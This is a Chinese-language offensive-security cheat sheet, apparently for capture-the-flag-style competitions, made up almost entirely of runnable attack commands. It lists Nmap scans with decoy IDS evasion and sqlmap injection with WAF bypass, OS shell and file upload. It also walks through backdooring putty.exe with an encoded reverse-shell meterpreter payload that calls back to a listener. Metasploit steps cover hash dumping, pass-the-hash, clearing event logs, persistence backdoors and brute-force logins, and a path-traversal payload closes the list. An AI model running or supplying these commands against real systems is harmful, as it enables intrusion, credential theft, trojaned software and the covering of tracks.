1. Nmap
首先使用nmap探测内网服务器
主机发现
nmap -sn -T4 ip/24(断网环境)
nmap -Pn ip/24(有网环境)
万能开关 -A
返回详细内容 -vv
完整全面的扫描
nmap –T4 –A –v targethost
脚本使用
nmap –script=brute 192.168.137.* 提供暴力破解的方式 可对数据库,smb,snmp等进行简单密码的暴力猜解
nmap –script=default 192.168.137.* 或者 nmap -sC 192.168.137.* 默认的脚本扫描,主要是搜集各种应用服务的信息,收集到后,可再针对具体服务进行攻击
IDS规避
nmap -v -F -Pn -D192.168.1.100,192.168.1.102,ME -e eth0 -g 3355 192.168.1.1 其中,-F表示快速扫描100个端口;-Pn表示不进行Ping扫描;-D表示使用IP诱骗方式掩盖自己真实IP(其中ME表示自己IP);-e eth0表示使用eth0网卡发送该数据包;-g 3355表示自己的源端口使用3355;192.168.1.1是被扫描的目标IP地址。
nmap –script=vuln 192.168.137.* 检查是否存在常见漏洞
假设检查ms08067
nmap -P0 –script=smb-check-vulns 10.10.10.130
2.sqlmap
备注:(注入的时候最好把设定-v 3 -l 3)
-
检索当前数据库和当前用户
sqlmap -u target.com --cookie="1231" -b --current-db -current-user
-b:获取DBMS banner 还有–os用于探测数据库服务器系统 –is-dba 判断当前用户是否为管理 –users 列出所有管理用户 –passwords列出并破解数据库用户的hash –privileges 列出数据库管理员权限
- 挖取数据库 –dbs(-D) 挖取表 –tables(-T) 挖取列 –columns(—C) 挖掘详细内容 –dump
- 读文件 -r test.txt 这里加载HTTP请求 加载文本为-m
- 载入过滤插件 –tamper(这个一般用于绕过waf) 这个具体参照:http://drops.wooyun.org/tools/4760 加载多个可用逗号隔开即可 python sqlmap.py -u “http://192.168.136.131/sqlmap/mysql/get_int.php?id=1” –tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3
- 伪静态注入 有些web服务器进行了url rewrite或者网站是伪静态的,无法直接提供测试参数,这样子可以使用*来代替要测试的参数。
- 请求延迟 在注入过程中请求太频繁的话可能会被防火墙拦截,这时候–delay参数就起作用了。可以设定两次HTTP请求间的延时。有的web程序会在多次错误访问后屏蔽所有请求,这样就导致之后所有的测试无法进行,绕过这个策略可以使用–safe-url,每隔一段时间去访问一个正常的页面。
-
post注入 有两种方法来进行post注入,一种是使用–data参数,将post的key和value用类似GET方式来提交。二是使用-r参数,sqlmap读取用户抓到的POST请求包,来进行POST注入检测。
python sqlmap.py -u "http://www.target.com/vuln.php" --data="id=1" -f --banner --dbs --users
-
拆分字符 –param-del
python sqlmap.py -u "http://www.target.com/vuln.php" --data="query=foobar;id=1" --param-del=";" -f --banner --dbs --users
- 避免过多的错误请求被屏蔽
- –safe-url:提供一个安全不错误的连接,每隔一段时间都会去访问一下。
- –safe-freq:提供一个安全不错误的连接,每次测试请求之后都会再访问一边安全连接。
- 有时候需要在一些环境的前面或者后面加一些字符,保证payload正常运行,就需要参数–prefix,–suffix 例如,代码中是这样调用数据库的: $query = “SELECT * FROM users WHERE id=(’” . $_GET[’id’] . “’) LIMIT 0, 1”; 这时你就需要–prefix和–suffix参数了: python sqlmap.py -u “http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1” -p id –prefix “’)” –suffix “AND (’abc’=’abc” 这样执行的SQL语句变成:
- 有时候–tables 无法获取到数据库表时,可用使用–common-tables爆破表名 同理 –common-columns 你懂的
- 如果当前用户有权读取文件,可用使用–file-read
同理 文件上传到服务器操作 –file-write,–file-dest
python sqlmap.py -u “http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1” –file-write "/software/nc.exe.packed” –file-dest “C:/WINDOWS/Temp/nc.exe” -v 1- 运行操作系统命令 –os-cmd,–os-shell
- cookie注入
3.metasploit
常用指令
- help
- search
- show options
- show payload
- set RHOST
- show target
- jobs 可以进一步查看进行攻击的模块
- exploit
- 修改模块后 再次攻击 rexploit
- session -l 查看你控制的电脑 session -i 4 查看id为4的被控制机
- getsystem 利用漏洞,自动提权为SYSTEM
- execute
- clearev 清除事件日志
- 查看具体信息 info
- getwd 得到当前目录
- upload -h 上传文件或文件夹到目标机器中 upload netcat.exe c:\
- download C:\“Program Files” 记得双斜杠进行转义
- 搜寻远程目标机上的文件 search -h
- 使用nmap
- show exploits 显示所有可用的渗透攻击模块
- show options 显示当前参数的所有内容
- show payload 查找适合这个攻击的攻击载荷
- show targets 具体列出受到漏洞影响目标的类型
- info 得到详细信息
- auxiliary/scanner/ssh/ssh_login:通过密码字典破解ssh帐号密码
- run post/windows/gather/smart_hashdump 获取哈希
- gituidServer 获取明文密码
##psnuffle 口令嗅探 建议在比赛中一直开启
使用过程 use auxiliary/sniffer/psnuffle run 即可
nessus
load nessus装载nessus
nessus_connect 连接nessus服务器
nessus_save 保存nessus登录信息会话
nessus_logout 退出nessus服务器
nessus_help 列出nessus命令
nessus_server_status 检查Nessus服务器的状态
nessus_admin 检测用户是否是管理员
nessus_server_feed Nessus提供的类型
nessus_find_targets 在报告中找一个攻击目标(有漏洞)
nessus_server_prefs 显示服务器控制台
nessus_report_list 列出Nessus报告
nessus_report_get 导入另一个nessus服务器的报告
nessus_report_hosts 列出主机的报告
nessus_report_host_ports 列出主机开放的端口报告
nessus_report_host_detail 列出一个主机的详细的报告
nessus_scan_new 创建一个Nessus的扫描
nessus_scan_status 列出全部Nessus扫描状态
nessus_scan_pause 暂停一个Nessus扫描
nessus_scan_pause_all 暂停全部Nessus扫描
nessus_scan_stop 停止一个Nessus扫描
nessus_scan_stop_all 停止全部Nessus扫描
nessus_scan_resume 重新开始一个Nessus扫描
nessus_scan_resume_all 重新开始全部Nessus扫描
nessus_plugin_list 列出全部插件
nessus_plugin_family 列出一个插件家族
nessus_plugin_details 列出一个特定插件
nessus_user_list 显示Nessus用户
nessus_user_add 添加一个Nessus用户
nessus_user_del 删除一个Nessus用户
nessus_user_passwd 改变Nessus用户的密码
nessus_policy_list 列出全部策略
nessus_policy_del 删除一个策略
辅助模块之wmap
load wmap
help
wmap_sites -a http://202.112.50.74
wmap_sites -l
wmap_targets -t http://202.112.50.74
wmap_run -t 开启后,wmap会调用配置好的辅助模块对目标进行扫描
wmap_run -e 查看扫描后结果
vulns 自动依据扫描后工作进行攻击 ## XSSF模块
load xssf 加载该模块
xssf_urls 查看xssf攻击配置文件
xssf_victims
使用Nessus
- db_destroy postgres:toor@127.0.0.1/msf3 删除现有数据库
- db_connect postgres:root@127.0.0.1/msf3
- load nessus
- nessus_help 使用该指令可以找到提示
- nessus_connect dookie:s3cr3t@192.168.1.101:8834 ok
- nessus_policy_list
- nessus_scan_new
- nessus_scan_status
- nessus_report_list
木马制作
1. 选定攻击载荷
msfpayload -l | grep ‘windows’ | grep ‘reverse_tcp’ | grep ‘meterpreter’ msfpayload -l 列出攻击载荷 返回 目标主机 windows ,有回连至监听主机的能力,并支持后渗透功能的木马制作程序 选择查看详细内容 msfpayload windows/meterpreter/reverse_tcp O
2. 将攻击载荷进行编码
这里一般是用msfencode
eg
msfpayload /windows/meterpreter/reverse_tcp LHOST=10.10.10.128 LPORT=80 R | msfencode -t exe /root/example_01/putty.exe -k -o putty_backdoor.exe -e x86/shikata_ga_nai -c 5 第一个参数/windows/meterpreter/reverse_tcp 代表要使用的攻击模块 LHOST是木马需要回连队地址 LPORT 是回连端口 R 表示输出原始二进制格式的攻击载荷 通过管道|连接作为msfencode的输入 -t exe 表示输出为exe格式的可执行文件 -x /root/example_o1/putty.exe 表示以原始的putty.exe作为木马载体模版 -k 参数保持作为模版的程序可运行,并在新线程中运行攻击载荷 -o 制定产生带有攻击载荷的文件吗 -e x86/shikata_ga_nai 表示对输出文件进行编码 -c 5 表示编码操作要迭代5次3. 测试木马的功效
可以在本地进行测试
-
使用msfcli开启监听
msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=10.10.10.128 LPORT=80 E
- 然后点击刚刚运行制作的putty.exe 在测试主机打开时,攻击机就收到了”Sending the payload handler”
-
下一步,需要将木马迁移到一个不会被关闭的进程上(因为不迁移,一旦putty.exe被关闭了,我们的木马就无效了)
run migrate explorer.exe 迁移到explorer.exe 进程
一些后渗透命令
- ipconfig
- portfwd端口转发工具 假设目标端口开启了3389端口,我们可以使用下面的指令转发到本地1234端口 portwd add -l 1234 -p 3389 -r 192.168.10.142(对方ip) 接下俩使用本地的rdesktop连接本地1234端口 rdesktop -u admin -p 1234 127.0.0.0:1234
- route
- search 搜索
- ps 运行的程序
- migrate 转移到另外一个进程
- execute 在目标机器上执行文件 execute -H -f cmd.exe 隐藏执行cmd.exe 若想直接与cmd交互,execute -H -i -f cmd.exe
- 权限提升 getsystem -h
-
获取哈希
use priv run post/windows/gather/hashdump
传递哈希值
use windows/smb/psexec
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.33.129
set LPORT 443
set RHOST 192.168.33.130
set SMBPass 31312313131231
exploit
杂项辅助
use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_tcp metsvc后门 http://www.phreedom.org/software/metsvc/ use exploit/multi/handler set PAYLOAD windows/metsvc_bind_tcp
smb扫描
smb枚举auxiliary/scanner/smb/smb_enumusers
返回DCERPC信息auxiliary/scanner/smb/pipe_dcerpc_auditor
扫描SMB2协议auxiliary/scanner/smb/smb2
扫描smb共享文件auxiliary/scanner/smb/smb_enumshares
枚举系统上的用户auxiliary/scanner/smb/smb_enumusers
SMB登录auxiliary/scanner/smb/smb_login
SMB登录use windows/smb/psexec(通过md5值登录)
扫描组的用户auxiliary/scanner/smb/smb_lookupsid
扫描系统版本auxiliary/scanner/smb/smb_version
空闲增量扫描auxiliary/scanner/ip/ipidseq
mssql扫描(端口tcp1433udp1434)
admin/mssql/mssql_enum MSSQL枚举
admin/mssql/mssql_exec MSSQL执行命令
admin/mssql/mssql_sql MSSQL查询
scanner/mssql/mssql_login MSSQL登陆工具
scanner/mssql/mssql_ping 测试MSSQL的存在和信息
smtp扫描
smtp枚举auxiliary/scanner/smtp/smtp_enum
扫描smtp版本auxiliary/scanner/smtp/smtp_version
snmp扫描
通过snmp扫描设备auxiliary/scanner/snmp/community
ssh扫描
ssh登录auxiliary/scanner/ssh/ssh_login
ssh公共密钥认证登录auxiliary/scanner/ssh/ssh_login_pubkey
扫描ssh版本测试auxiliary/scanner/ssh/ssh_version
telnet扫描
telnet登录auxiliary/scanner/telnet/telnet_login
扫描telnet版本auxiliary/scanner/telnet/telnet_version
tftp扫描
扫描tftp的文件auxiliary/scanner/tftp/tftpbrute
ARP扫描auxiliary/scanner/discovery/arp_sweep
IPv6的邻居发现auxiliary/scanner/discovery/ipv6_neighbor
扫描UDP服务的主机auxiliary/scanner/discovery/udp_probe
检测常用的UDP服务auxiliary/scanner/discovery/udp_sweep
ftp版本扫描scanner/ftp/anonymous
sniffer密码auxiliary/sniffer/psnuffle
snmp扫描scanner/snmp/community
vnc扫描无认证扫描scanner/vnc/vnc_none_auth
扫描X服务器scanner/x11/open_x11
php攻击exploit/unix/webapp/php_include
指定攻击浏览器server/browser_autopwn
4.密码破解
Medusa [-h host | -H file] [-u username | -U file] [-p password | -P file] [-C file] -M module [OPT] |
5. 其它
- 目录穿越漏洞 ../…/…/../../etc/passwd%00
- sql相关 Mysql information_schema table_schema version() database()
-